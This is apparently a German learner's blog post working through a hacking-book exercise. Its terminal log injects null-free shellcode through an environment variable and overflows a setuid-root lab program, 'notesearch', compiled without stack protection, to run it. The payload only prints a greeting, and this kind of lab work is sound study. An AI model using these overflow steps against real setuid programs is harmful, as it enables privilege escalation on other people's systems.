root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm helloworld3.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# hexdump -C helloworld3 | grep --color=auto 00
00000000  eb 13 59 31 c0 b0 04 31  db 43 31 d2 b2 0f cd 80  |..Y1...1.C1.....|
00000010  b0 01 4b cd 80 e8 e8 ff  ff ff 48 65 6c 6c 6f 2c  |..K.......Hello,|
00000020  20 77 6f 72 6c 64 21 0a  0d                       | world!..|
00000029

...wie im Buch.

Den folgenden Abschnitt müsst ihr noch ausführen, wenn ihr das Unterkapitel übersprungen habt.

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o notetaker notetaker.c
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chown root:root ./notetaker
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chmod u+s ./notetaker
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./notetaker "this a test of multiuser notes"
[DEBUG] buffer   @ 0x804b008: 'this a test of multiuser notes'
[DEBUG] datafile @ 0x804b070: '/var/notes'
[DEBUG] file descriptor is 3
Note has been saved.
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ls -l /var/notes
-rw------- 1 root root 36 Aug 12 21:54 /var/notes
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o notesearch notesearch.c
notesearch.c: In Funktion »print_notes«:
notesearch.c:49:3: Warnung: Format ist kein Zeichenkettenliteral, und keine Formatargumente [-Wformat-security]
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chown root:root ./notesearch
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chmod u+s ./notesearch
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./notesearch
[DEBUG] found a 31 byte note for user id 0
this a test of multiuser notes
-------[ end of note data ]-------

Hier geht’s weiter...

root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# export SHELLCODE=$(cat helloworld3)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff8ca
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./notesearch $(perl -e 'print "\xca\xf8\xff\xbf"x40')
[DEBUG] found a 31 byte note for user id 0
-------[ end of note data ]-------
Hello, world!

Ohne die Nullen geht’s :-)
Es hat sich nur Returnadresse geändert.

 

   

Jetzt c/c++ lernen  

   
© ALLROUNDER